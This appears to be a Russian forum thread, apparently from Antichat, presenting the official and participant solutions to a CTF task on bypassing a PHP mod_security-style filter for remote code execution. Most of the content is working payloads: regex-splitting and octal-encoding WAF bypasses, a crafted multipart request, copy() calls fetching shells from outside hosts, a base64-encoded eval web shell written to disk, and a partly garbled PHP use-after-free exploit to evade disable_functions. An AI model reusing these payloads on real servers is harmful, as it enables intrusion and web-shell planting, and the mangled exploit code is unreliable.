
19.09.2020, 23:46
|
|
Участник форума
Регистрация: 23.03.2017
Сообщений: 265
С нами:
4812086
Репутация:
119
|
|
За идею для таска была взята основа конфигурации mod_security с одного ресурса.
Конфигурацию перенесли в виде регулярок на PHP, но кое что было не учтено, что в свою очередь привело к большому количеству всевозможных решений ))
Изначально решение таска планировалось таким.
Заблокированы практически все функции, которые необходимы для заливки шелла, или полноценного выполнения кода, поэтому пришлось бы поискать, что не заблокировано.
mod_security в нашем случае не блокировал callback функции filter_
Одной из таких функций мы можем воспользоваться для чтения файлов, и прочитаем сами себя:
filter_var("index.php", FILTER_CALLBACK,array("options"=>"readfile"));
Получаем исходный код самого скрипта, смотрим его, и видим кривую регулярку:
Код:
$vuln_entry = preg_replace('/(assert|include|eval|require)/is','',$vuln_entry);
Обращаем внимание, что функции assert,eval находятся в запрещенном списке $disable_function_names, но остальные две, include и require - нет.
По сути использовать include или require мешает эта регулярка, но она легко обходится, например так: inclincludeude
Теперь, когда мы можем использовать include, надо подумать, как через неё проэксплуатировать полноценный RCE код.
Врапперы в PHP для include\require по умолчанию отключены, поэтому остается вариант загрузить файл на сервер, и его проинклудить.
Это можно сделать через трюк с загрузкой файла, и пока он находится во временной папке /tmp/ то проинклудить его через scandir подобрав массив.
Выглядит это следующим образом:
Код:
include('/tmp/'.scandir('/tmp/')[6]);
Соответственно формируем специальный http заголовок, и посылаем это на сервер:
.SpoilerTarget" type="button">Spoiler
Код:
POST / HTTP/1.1
Host: task12.antichat.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:53.0) Gecko/20170101 Firefox/53.0
Content-Type: multipart/form-data; boundary=---------------------------cd34e5c25fdd9f588c11127a23284
Content-Length: 403
-----------------------------cd34e5c25fdd9f588c11127a23284
Content-Disposition: form-data; name="x"; filename="1.jpg"
Content-Type: image/jpeg
-----------------------------cd34e5c25fdd9f588c11127a23284
Content-Disposition: form-data; name="rce"
$b=inclincludeude('/tmp/'.scandir('/tmp/')[6]);die();
-----------------------------cd34e5c25fdd9f588c11127a23284--
И уже имеем полноценный RCE который ничем не блокируется.
Как я уже писал ранее, из за небольшого косяка с переносом правил mod_security на площадку таска, его можно зарешать и множеством других вариантов.
Сами решения участников:
.SpoilerTarget" type="button">Spoiler
Сообщение от crlf
rce=file_put_contents/**/('I62oGbVMH57C25ASBVdk/ololo','');print_r/**/(scandir/**/('I62oGbVMH57C25ASBVdk'));
Сообщение от neur0funk
↑
$i=scandir('./');foreach($i as $a){print($a.PHP_EOL);};
папка -> I62oGbVMH57C25ASBVdk
copy('
http://img.com/static/img/img-logo.png
', './I62oGbVMH57C25ASBVdk/logo.png');
шелл неоткуда было тянуть, а белый домен не хотелось плить
Сообщение от Baskin-Robbins
↑
Ищем папку:
$f1="\163\143\141\156\144\151\162"("/var/www/html/");"\160\162\151\156\164\137\162"($f1);
$f1="\163\143\141\156\144\151\162"("/var/www/html/I62oGbVMH57C25ASBVdk/");"\160\162\151\156\164\137\162"($f1);
Заливаемся:
"\143\157\160\171\137\162"("
http://afgsdagdfhghgjgfj.coolpage.biz/sdghdshdhdjh.txt
","/var/www/html/I62oGbVMH57C25ASBVdk/sdghdshdhdjh.php");
#2
ну например так можно еще
$dirs = dir("/var/www/html");while (false !== ($wrdirs = $dirs->read())) { echo $wrdirs."\n"; };
copy("
http://localhost.com/index.html
","/var/www/html/shell_12");
#3
и вот так можно
$fro = array('file_get_contents','ololo');$fiii = $fro[0]("
http://localhost.com/index.html
");$fredd = array('file_put_contents','ololo');$fredd[0]("/var/www/html/shell_12",$fiii);
#4
$pro1 = 'copy';
$ex = explode(" ",$pro1);
implode(" ",$ex)("
http://localhost.com/index.html
","/var/www/html/shell_12");
Сообщение от Baskin-Robbins
↑
кароч лови, чисто по фану, вариант с байпасом твоего фильтра и system в disable_functions
Spoiler: удобочитаемый
pwn("ls");
function pwn($cmd) {
global $abc, $helper, $backtrace;
class Vuln {
public $a;
public function __destruct() {
global $backtrace;
unset($this->a);
$backtrace = (new Exception)->getTrace();
if(!isset($backtrace[1]['args'])) {
$backtrace1 = 'debug_backtrace';
$backtrace2 = explode(" ",$backtrace1);
$backtrace = implode(" ",$backtrace2)();
}
}
}
class Helper {
public $a, $b, $c, $d;
}
function str2ptr(&$str, $p = 0, $s = 8) {
$address = 0;
for ($j = $s-1; $j >= 0; $j--) {
$address >= 8;
}
return $out;
}
function write(&$str, $p, $v, $n = 8) {
$i = 0;
for ($i = 0; $i >= 8;
}
}
function leak($addr, $p = 0, $s = 8) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != 8) { $leak %= 2 0 && $leak - $base 0 && $leak - $base a = $arg;
}
$n_alloc = 10;
$contiguous = [];
for ($i = 0; $i b = function ($x) { };
if (strlen($abc) == 79 || strlen($abc) == 0) {
die("UAF failed");
}
$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;
write($abc, 0x60, 2);
write($abc, 0x70, 6);
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa);
$closure_obj = str2ptr($abc, 0x20);
$binary_leak = leak($closure_handlers, 8);
if (!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
}
if (!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
}
if (!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
}
if (!($zif_system = get_sdystem($basic_funcs))) {
die("Couldn't get zif_system address");
}
$fake_obj_offset = 0xd0;
for ($i = 0; $i b)($cmd);
exit();
}
Spoiler: в одну строку чтобы не ругался
pwn("ls"); function pwn($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace;unset($this->a); $backtrace = (new Exception)->getTrace();if(!isset($backtrace[1]['args'])) {$backtrace1 = 'debug_backtrace';$backtrace2 = explode(" ",$backtrace1);$backtrace = implode(" ",$backtrace2)();}}}class Helper {public $a, $b, $c, $d;}function str2ptr(&$str, $p = 0, $s = 8) {$address = 0;for ($j = $s-1; $j >= 0; $j--) {$address >= 8;}return $out;}function write(&$str, $p, $v, $n = 8) {$i = 0;for ($i = 0; $i >= 8;}}function leak($addr, $p = 0, $s = 8) {global $abc, $helper;write($abc, 0x68, $addr + $p - 0x10);$leak = strlen($helper->a);if($s != 8) { $leak %= 2 0 && $leak - $base 0 && $leak - $base a = $arg;}$n_alloc = 10; $contiguous = [];for ($i = 0; $i b = function ($x) { };if (strlen($abc) == 79 || strlen($abc) == 0) {die("UAF failed");}$closure_handlers = str2ptr($abc, 0);$php_heap = str2ptr($abc, 0x58);$abc_addr = $php_heap - 0xc8;write($abc, 0x60, 2);write($abc, 0x70, 6);write($abc, 0x10, $abc_addr + 0x60);write($abc, 0x18, 0xa);$closure_obj = str2ptr($abc, 0x20);$binary_leak = leak($closure_handlers, 8);if (!($base = get_binary_base($binary_leak))) {die("Couldn't determine binary base address");}if (!($elf = parse_elf($base))) {die("Couldn't parse ELF header");}if (!($basic_funcs = get_basic_funcs($base, $elf))) {die("Couldn't get basic_functions address");}if (!($zif_system = get_sdystem($basic_funcs))) {die("Couldn't get zif_system address");}$fake_obj_offset = 0xd0;for ($i = 0; $i b)($cmd);exit();}
ну сам сплоит ты думаю знаешь
Сообщение от Shubka75
↑
Привет.
Код:
"\160\162\151\156\164\137\162"(scandir('./')); - находим врайтабельную диру
"\146\151\154\145\137\160\165\164\137\143\157\156\164\145\156\164\163"('./I62oGbVMH57C25ASBVdk/test.txt', 'test'); - и льемся в нее
Сообщение от Раrаdох
↑
Добрый вечер!
Задача решилась вовсе несложно:
Сперва необходимо найти директорию с правами на запись (данный момент зафиксирован в условиях задачи). Делаем это с помощью инъекции следующего кода, который поможет произвести листинг директорий в текущей папке веб-приложения:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]print_r[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#0000BB"]scandir[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]'.'[/COLOR][COLOR="#007700"]));[/COLOR][/COLOR]
Можно заметить, что для обхода WAF используется пустой комментарий для раздробления имени функции print_r и списка её аргументов — такой вариант не учитывается. Впрочем, можно было обойтись и обычным echo() который не запрещен, вручную перебрав индексы всех файлов (помимо данного, и этот вариант далеко не последний).
Найдя папку с идентификатором "I62oGbVMH57C25ASBVdk", осталось лишь зашить полезную нагрузку в файл, используя самую очевидную для этого функцию, а также вышеупомянутый метод обхода WAF:
PHP код:
[COLOR="#000000"][COLOR="#0000BB"]file_put_contents[/COLOR][COLOR="#FF8000"]/**/[/COLOR][COLOR="#007700"]([/COLOR][COLOR="#DD0000"]"I62oGbVMH57C25ASBVdk/paradox.php"[/COLOR][COLOR="#007700"],[/COLOR][COLOR="#DD0000"]"payload"[/COLOR][COLOR="#007700"]);[/COLOR][/COLOR]
Теперь можно эмпирически убедиться, что по адресу /I62oGbVMH57C25ASBVdk/paradox.php располагается рабочая полезная нагрузка.
Задача решена. Если возникнет необходимость в полезную нагрузку запихнуть что-то "запрещенное", — то можно закодировать оную в base64 либо использовать конкатенацию функций chr() / любой иной метод.
Сообщение от Hulkus
↑
Доброй ночи.
В поле input вставил - 0;#?> узнал каталог I62oGbVMH57C25ASBVdk.
Проверил 0;#?>
Залил шелл 0;#?>
Этого достаточно? В первый раз прохожу.
Спасибо.
дополню.
переводим file_put_contents в oct
выполняем
0;#?>
получаем шелл
http://task.antichat.com:10012/I62oG...SBVdk/0008.php
Сообщение от MichelleBoxing
↑
Привет,
залил файл boxing.txt
Решение
Сначала находим директорию для записи
var_export(scandir('/var/www/html/'));
Смотрим ради интереса исходник index.php
var_export(copy('/var/www/html/index.php','php://output'));
Через эту же функцию copy пишем файл
copy('data://text/plain,supershell_code','/var/www/html/I62oGbVMH57C25ASBVdk/boxing.txt');
Спасибо за интересный таск )
Сообщение от joelblack
↑
Привет)
Код:
rce=chdir('/var/www/html/I62oGbVMH57C25ASBVdk/');$file = new SplFileObject("t4sk_AchAt.php", "w");$file->fputcsv([''],',',' ');print(implode("
",scandir( '.')));
Сообщение от ckpunmkug
↑
История прохождения:
В начале я глянул код страницы - ничего полезного, форма как форма.
Потом посмотрел что такое RCE на
https://ru.bmstu.wiki/RCE_(Remote_Code_Execution)
И смастерил на локалке стенд
Прочитал ещё раз условия и загуглил mod_security, оказывается правильно писать слитно.
Нашел и установил к apache2 ModSecurity
Код:
apt-cache search modsecurity
apt install libapache2-mod-security2
Зашел на стенд и понял что нужно исполнить и завершиться
Потом подумал что нужно получать результат исполнения
Код:
die(var_export(['XA','Xa','xa','!'], true));
Получаю доступные директории (open_basedir)
Начинаю сканить директории
Код:
die(var_export(scandir('.'),true));
Код:
array (
0 => '.',
1 => '..',
2 => '.htaccess',
3 => 'I62oGbVMH57C25ASBVdk',
4 => 'favicon.ico',
5 => 'index.php',
)
Хочу узнать что такое I62oGbVMH57C25ASBVdk
Код:
die(var_export(stat('I62oGbVMH57C25ASBVdk'),true));
Код:
array (
0 => 169,
1 => 892913827,
2 => 16895,
3 => 1,
4 => 0,
5 => 0,
6 => 0,
7 => 4096,
8 => 1599199092,
9 => 1599238668,
10 => 1599238668,
11 => 4096,
12 => 8,
'dev' => 169,
'ino' => 892913827,
'mode' => 16895,
'nlink' => 1,
'uid' => 0,
'gid' => 0,
'rdev' => 0,
'size' => 4096,
'atime' => 1599199092,
'mtime' => 1599238668,
'ctime' => 1599238668,
'blksize' => 4096,
'blocks' => 8,
)
Преобразую mode и понимаю что можно читать писать и запускать
Заглядываю в мануал и вижу что это дира
Код:
man 7 inode
S_IFDIR 0040000 directory
Заглядываю внутрь
Код:
die(var_export(scandir('I62oGbVMH57C25ASBVdk'),true));
В одном из файлов нахожу подсказку
Код:
file_put_contents/**/('./I62oGbVMH57C25ASBVdk/baton.txt',urldecode/**/(substr/**/(file_get_contents/**/("php://input"),4)));
Но я хочу ценично залиться, а $_FILES фильтруется. Поэтому я зашел с другой стороны.
Код:
function f($v){return $v['_FILES']['ckpunmkug']['tmp_name'];} die(var_export(copy(f(get_defined_vars()),'./I62oGbVMH57C25ASBVdk/ckpunmkug.php'),true));
Затем создал формочку
И залился! Мой файл ckpunmkug.php
Код:
function f($v){return $v['_FILES']['ckpunmkug']['tmp_name'];} die(var_export(copy(f(get_defined_vars()),'./I62oGbVMH57C25ASBVdk/ckpunmkug.php'),true));
Сообщение от look2009
↑
PHP код:
[COLOR="#000000"]$path = scandir("/var/www/html/");foreach($path as $k){echo $k." ";} //смотрим папку $path = scandir("/var/www/html/I62oGbVMH57C25ASBVdk/");foreach($path as $k){echo $k." ";} //смотрим подпапку copy('/var/www/html/index.php','/var/www/html/I62oGbVMH57C25ASBVdk/index.txt');// копируем индекс firequirele_purequiret_contenrequirets('/var/www/html/I62oGbVMH57C25ASBVdk/look2009.php', '[COLOR="#0000BB"][/COLOR]');// соглано правилам index.php заливаем что хотим[/COLOR]
Сообщение от fandor9
↑
Привет,
шелл залил с помощью:
$ce="PD9waHAgZXZhbCgkX0dFVFtcImNtZFwiXSk7===";$pe= "ZmlsZV9wdXRfY29udGVudHM=";$c="base64_decode"($ce) ;$p="base64_decode"($pe);echo $p;"file_put_contents"("./I62oGbVMH57C25ASBVdk/ololo",$c);
Решения интересные, многие из которых могут помочь в реальных условиях фильтрации RCE разными WAF системами.
В общем, все молодцы.
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|